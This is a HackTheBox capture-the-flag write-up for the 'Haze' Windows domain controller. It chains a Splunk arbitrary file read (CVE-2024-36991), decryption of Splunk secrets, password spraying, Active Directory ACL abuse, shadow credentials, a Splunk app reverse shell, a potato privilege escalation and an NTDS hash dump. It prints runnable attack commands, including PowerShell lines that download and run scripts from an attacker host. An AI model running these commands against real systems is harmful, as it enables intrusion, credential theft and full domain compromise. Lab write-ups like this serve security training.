Haze — HackTheBox
Haze is a Windows machine on HTB, focusing on Splunk misconfigurations and Active Directory. The initial compromise involves exploiting an unauthenticated arbitrary file read vulnerability in Splunk (CVE-2024–36991) to extract credentials. Privilege escalation and lateral movement are achieved by abusing msDS-GroupMSAMembership write access, WriteOwner privileges on AD groups, and AddKeyCredentialLink for shadow credentials. The final steps include exploiting a Splunk custom app RCE and leveraging SeImpersonatePrivilege to gain full domain compromise.
NMAP
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-24 03:17:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
8000/tcp open http Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
8088/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
55584/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
55585/tcp open unknown
55586/tcp open unknown
55595/tcp open unknown
55614/tcp open unknown
55623/tcp open unknown
64687/tcp open unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-24T03:17:57
|_ start_date: N/A
|_clock-skew: 7h37m41s The Nmap scan shows that the target is a Windows Domain Controller (dc01.haze.htb) with typical Active Directory services exposed, including Kerberos, LDAP, SMB, and DNS. It also runs a Splunk instance on ports 8000, 8088, and 8089, which stands out as an uncommon service. Since default AD services don’t reveal much initially, we start by examining the exposed Splunk interface on port 8000.
Unauthenticated Arbitrary File Read in Splunk (CVE-2024–36991)
Navigating to port 8000 in the browser presents the Splunk Enterprise login interface. We try common default credentials like admin:admin, but none of them work.
While researching vulnerabilities in Splunk Enterprise, we come across a blog post detailing CVE-2024–36991, an unauthenticated arbitrary file read vulnerability. The post includes both technical analysis and a working proof of concept (PoC) for exploiting the issue.
The following POC is provided with the blog:
Running the exploit confirms that the instance is vulnerable to CVE-2024–36991. The exploit successfully reads the contents of the $SPLUNK_HOME/etc/passwd file, which stores user authentication data, including hashed passwords. These extracted hashes can be cracked using tools like Hashcat or John the Ripper to potentially recover valid Splunk credentials.
We attempt to crack them using Hashcat with the rockyou.txt wordlist. However, none of the hashes are cracked and take a long time.
Since the password hashes couldn’t be cracked, I shifted focus to searching for important Splunk configuration files that might reveal sensitive information. While doing so, I came across official Splunk documentation that lists various configuration files and their purposes. According to the documentation, default configuration files are located in the $SPLUNK_HOME/etc/system/default/ directory, while any custom or locally modified configurations are stored in $SPLUNK_HOME/etc/system/local/.
Since we’re only interested in custom configurations (as they may contain sensitive modifications or credentials), I began inspecting the files under $SPLUNK_HOME/etc/system/local/. To automate this process, I wrote a simple Bash script with help from ChatGPT that attempts to download these files if they exist. Here's the script:
#!/bin/bash
# Base URL
BASE_URL="http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/system/local"
# List of config files
CONFIG_FILES=(
agent_management.conf
alert_actions.conf
app.conf
audit.conf
authentication.conf
authorize.conf
bookmarks.conf
checklist.conf
collections.conf
commands.conf
datamodels.conf
datatypesbnf.conf
default-mode.conf
default.meta.conf
deploymentclient.conf
deployment.conf
distsearch.conf
event_renderers.conf
eventdiscoverer.conf
eventtypes.conf
federated.conf
fields.conf
global-banner.conf
health.conf
indexes.conf
inputs.conf
instance.cfg.conf
limits.conf
literals.conf
macros.conf
messages.conf
metric_alerts.conf
metric_rollups.conf
migration.conf
multikv.conf
outputs.conf
passwords.conf
procmon-filters.conf
props.conf
pubsub.conf
restmap.conf
rolling_upgrade.conf
savedsearches.conf
searchbnf.conf
segmenters.conf
serverclass.seed.xml.conf
serverclass.conf
server.conf
setup.xml.conf
source-classifier.conf
sourcetypes.conf
splunk-launch.conf
tags.conf
telemetry.conf
times.conf
transactiontypes.conf
transforms.conf
ui-prefs.conf
ui-tour.conf
user-prefs.conf
user-seed.conf
viewstates.conf
visualizations.conf
web-features.conf
web.conf
wmi.conf
workflow_actions.conf
workload_policy.conf
workload_pools.conf
workload_rules.conf
)
# Create a directory to save the files
mkdir -p downloaded_confs
cd downloaded_confs || exit
# Download each file and check if it's non-empty
for file in "${CONFIG_FILES[@]}"; do
echo "Trying $file..."
temp_file=$(mktemp)
wget --quiet "${BASE_URL}/${file}" -O "$temp_file"
if [ -s "$temp_file" ]; then
mv "$temp_file" "$file"
echo "Saved $file"
else
echo "Skipped $file (empty or no response)"
rm -f "$temp_file"
fi
done
echo "Finished."Executing the script, only following three files are downloaded:
Inspecting the downloaded configuration files, we discover sensitive credentials. In authentication.conf, we find LDAP authentication details for a user named Paul Taylor, along with a hashed password under the bindDNpassword field. In server.conf, we find additional sensitive fields including pass4SymmKey and sslPassword, both stored as Splunk’s proprietary encrypted strings.
Attempting to crack the hashes using Hashcat proves unfruitful, as there is no supported hash mode for the format used by Splunk (which begins with $7$). Upon further research, we discovered a tool called Splunksecrets, developed by Hurricane Labs, specifically designed to decrypt Splunk secrets.
According to the tool’s documentation, the encrypted credentials (such as bindDNpassword) are decrypted using a key derived from the splunk.secret file, which is located at $SPLUNK_HOME/etc/auth/splunk.secret. To decrypt the values using splunksecrets, we first need to obtain this file. We download it using the following command:
http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secretNow, we decrypt the bindDNpassword field using the following command and get plain-text password:
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='Using the decrypted password, we can attempt to authenticate as the Paul Taylor user on the domain controller and verify the credentials. However, we don’t know the username scheme like firstinital.lastname etc. So, we can create different combinations using namemesh and find the correct username.
Now, we know the valid username is paul.taylor and we can validate his credentials on DC. However, we do not have access via WinRM.
Checking the SMB shares, we don’t see any shares other than the default ones.
Password Re-use
If we try to list users using netexec, we can only see paul.taylor user. However, listing groups reveals that there are three members in the Users group, indicating that some enumeration restrictions are in place.
nxc smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --groups
nxc smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --usersHowever, by performing RID brute-force using netexec we find other users in the domain.
nxc smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --rid-bruteSpraying the same password on other users, we find that it is reused for mark.adams, and this user has access to WinRM:
nxc smb haze.htb -u users -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-successevil-winrm -i 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24Checking files and folders on the system, there is a Backups folder in C drive, but we don’t have access to it.
ms-DS-GroupMSAMembership WriteProperty Abuse
Next, I began enumeration with BloodHound. Using the following netexec command, I collected data from Active Directory:
nxc ldap haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb --dns-server 10.10.11.61 --bloodhound -c AllIn BloodHound, it is found that the mark.adams user is a member of the GMSA_MANAGERS group. However, I could not identify any immediate next steps, as this group does not have the ReadGMSAPassword privilege.
I suspected that BloodHound might have missed something, so I directly attempted to read the (Group Managed Service Account) gMSA NTLM hash using the following netexec command. However, it did not return the NTLM hash for the Haze-IT-Backup$ gMSA.
nxc ldap haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa Next, I proceeded with manual enumeration using PowerView. Upon inspecting the PrincipalsAllowedToRetrieveManagedPassword property of the Haze-IT-Backup$ gMSA, it was found that only the Domain Admins group is listed. This explains why we were unable to retrieve the managed password earlier.
PrincipalsAllowedToRetrieveManagedPassword is a calculated (read-only) property in Active Directory that shows the list of users or groups allowed to retrieve the password of a gMSA, based on the msDS-GroupMSAMembership attribute.
IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Get-ADServiceAccount Haze-IT-Backup -Properties PrincipalsAllowedToRetrieveManagedPasswordNext, I began enumerating the ACLs for the users and groups to which we have access. While reviewing the permissions for the GMSA_MANAGERS group, I discovered that it has write access to the ms-DS GroupMSAMembership property of the HAZE-IT-BACKUP$ gMSA account. This attribute defines the list of security principals (users or groups) that are allowed to retrieve the managed password of a Group Managed Service Account. In tools like PowerView and BloodHound, this property is displayed as PrincipalsAllowedToRetrieveManagedPassword.
IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "gmsa_managers"}Since mark.adams is a member of GMSA_MANAGERS, we can add our user to ms-DS-GroupMSAMembership, which effectively updates PrincipalsAllowedToRetrieveManagedPassword, allowing us to retrieve the gMSA password. This can be done using the following commands:
IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Set-ADServiceAccount -Identity "Haze-IT-Backup" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
nxc ldap 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsaWriteOwner Abuse
Now that we have access to HAZE-IT-BACKUP$ group managed service account (gMSA), further enumerating its ACLs, we find that it has WriteOwner access on Support_Services group. We can also see this in the bloodhound.
IEX(New-Object Net.WebClient).downloadString("http://10.10.14.202/PowerView.ps1")
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "Haze-IT-Backup"}We can abuse this by granting HAZE-IT-BACKUP$ ownership of the SUPPORT_SERVICES group, then take FullControl of the group and add ourselves to it.
To change the ownership of the object, we can use Impacket’s owneredit script:
impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' haze.htb/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1 -dc-ip 10.10.11.61To abuse ownership of a group object, we can grant ourselves the AddMember privilege. Impacket’s dacledit can be used for this purpose:
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' haze.htb/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1 -dc-ip 10.10.11.61Now, we can add Haze-IT-Backup to the Support_Services group. For this purpose, bloodyAD can be used:
bloodyAD --host 10.10.11.61 -d haze.htb -u 'Haze-IT-Backup$' -p :4de830d1d58c14e241aff55f82ecdba1 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'We can confirm the membership from our WinRM session:
Now that we had access to SUPPORT_SERVICES, I couldn’t identify the next steps. BloodHound seemed to be missing some users, or I may have messed up, so I re-ran bloodhound-python using the HAZE-IT-BACKUP$ account credentials.
bloodhound-python -u Haze-IT-Backup$ --hashes :4de830d1d58c14e241aff55f82ecdba1 -ns 10.10.11.61 -d haze.htb -c all --zipAddKeyCredentialLink Abuse (Shadow Credentials)
Inspecting the ACLs of the SUPPORT_SERVICES group, we find that it has both ForceChangePassword and AddKeyCredentialLink privileges on the edward.martin user. This means:
- The members of the group SUPPORT_SERVICES@HAZE.HTB have the ability to write to the “msds-KeyCredentialLink” property on EDWARD.MARTIN@HAZE.HTB. Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.
- The members of the group SUPPORT_SERVICES@HAZE.HTB have the capability to change the user EDWARD.MARTIN@HAZE.HTB’s password without knowing that user’s current password.
I went the ShadowCredentials way. To perform this attack, we can use Pywhisker tool. It outputs a PFX file (and its associated password) where the certificate is stored.
git clone https://github.com/ShutdownRepo/pywhisker.git
cd pywhisker/pywhisker
uv add --script pywhisker.py -r ../requirements.txt
uv run pywhisker.py -d haze.htb -u 'Haze-IT-Backup$' -H 4de830d1d58c14e241aff55f82ecdba1 --target 'edward.martin' --action 'add'Next, we can unprotect the certificate with the given password using certipy tool and authenticate via ADCS to get the user’s TGT and NTLM hash. Finally, we can confirm that this user has access via WinRM.
certipy cert -export -pfx vD2VrDek.pfx -password V8tOllozpOiiZ4AQhpqy -out unprotected_pfx.pfx
certipy auth -pfx unprotected_pfx.pfx -username edward.martin -domain haze.htb -dc-ip 10.10.11.61
nxc winrm haze.htb -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91afHere, we get the user flag.
Lateral Movement through Splunk Backup
As we saw earlier, there was a Backups folder in the C drive. It seems that this user can access this folder. It contains a Splunk backup file, which we download to our host using the evil-winrm’s download functionality.
Unzipping the backup file, we get the following
If we run tree command, we can see an authentication.conf at /var/run/splunk/confsnapshot/baseline_local/system/local/ path. We already saw during the initial compromise that this is a custom file and contains credentials. Looking at the contents of this file, we find password hash of alexander.green user
This hash looked like md5crypt, but hashcat was unable to recognize the format:
Searching on google, splunksecrets tool again came to the rescue:
We needed splunk.secrets file, which was available in /etc/auth directory. Using splunksecrets we decrypted the encrypted creds:
splunksecrets splunk-legacy-decrypt -S splunk.secretBut using these credentials, we are not able to authenticate to AD.
Trying the decrypted password on Splunk login, we can log in as the admin user:
Splunk Custom App RCE
Now that we have access to Splunk as administrator user, we can use the same old Splunk Custom App RCE. I used the following repo to create a custom app with our reverse shell payload. We need to edit the PowerShell script to put our listener IP and port.
git clone https://github.com/0xjpuff/reverse_shell_splunk.git
cd reverse_shell_splunk
vi reverse_shell_splunk/bin/run.ps1
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.splIn Splunk interface, click on Apps at top left and select Manage Apps option. Then, click Install app from file button and select the spl file that we just created. Also, start our netcat listener in the background to receive the reverse shell.
When the file is uploaded, we receive a reverse shell as alexader.green user.
SeImpersonatePrivilege Abuse
Checking the privileges of this user, SeImpersonatePrivilege is enabled, which allows token impersonation. We can use the famous potato exploits to abuse this and escalate our privileges.
I used the following SigmaPotato exploit to abuse this privilege and added a new local administrator on the machine.
iwr http://10.10.14.202/SigmaPotato.exe -outfile SigmaPotato.exe
.\SigmaPotato.exe 'net user plugin Password@123 /add'
.\SigmaPotato.exe 'net localgroup Administrators plugin /add'With local administrator access on the DC, I dumped NTDS file using netexec and obtained NTLM hashes of all the users.
nxc smb 10.10.11.61 -u plugin -p Password@123 -M ntdsutilFinally, by passing the hash, I was able to access the machine via WinRM as the Administrator user.
Thanks.
References
- Arbitrary file read (CVE-2024–36991) in Splunk: https://www.sonicwall.com/blog/critical-splunk-vulnerability-cve-2024-36991-patch-now-to-prevent-arbitrary-file-reads
- Splunk Secrets Tool: https://github.com/HurricaneLabs/splunksecrets
- ms-DS-GroupMSAMembership — gMSA: https://notes.qazeer.io/active-directory/exploitation-acl_exploiting#group-managed-service-accounts-gmsa
- WriteOwner Abuse: https://www.hackingarticles.in/abusing-ad-dacl-writeowner/
- Shadow Credentials Attacks: https://www.hackingarticles.in/shadow-credentials-attack/
- Popping shells on Splunk: https://www.n00py.io/2018/10/popping-shells-on-splunk/
- Token Impersonation: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege
